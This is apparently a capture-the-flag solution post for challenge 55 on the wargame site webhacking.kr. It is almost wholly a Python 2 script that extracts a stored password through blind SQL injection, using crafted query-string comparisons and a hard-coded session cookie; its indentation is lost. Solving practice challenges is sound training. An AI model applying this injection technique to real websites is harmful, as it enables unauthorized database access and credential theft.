webhacking.kr 55번 문제 풀이
import re,urllib,urllib2
#fw = urllib.urlopen("http://binaryu.tistory.com/challenge/bonus/bonus-1/index.php?no=2 and substring(pw,1,1)=char(%s)" %i)
#read = fw.read()
password="4348414c4c454e47453535434c6561727e7e4b4b"
for j in range(21, 50):
for i in range(32,127):
ii=hex(i)
iii=ii[2:4]
print ii
if i < 99999 or i > 96:
url1="http://webhacking.kr/challenge/web/web-31/rank.php?score=0 and ip=0x6c6f63616c686f7374 and left(pAsSw0RdzzzZ,%d)=0x" %j
url2="%s" %password
url3=url1+url2+"%s" %iii
print url3
req=urllib2.Request(url3)
req.add_header('Cookie',"notice=yes; PHPSESSID=0be9e96926e7403cbc78d8b72499be3d")
read=urllib2.urlopen(req).read()
ok = re.findall("localhost",read)
if ok:
password=password+"%s" %iii
print password
break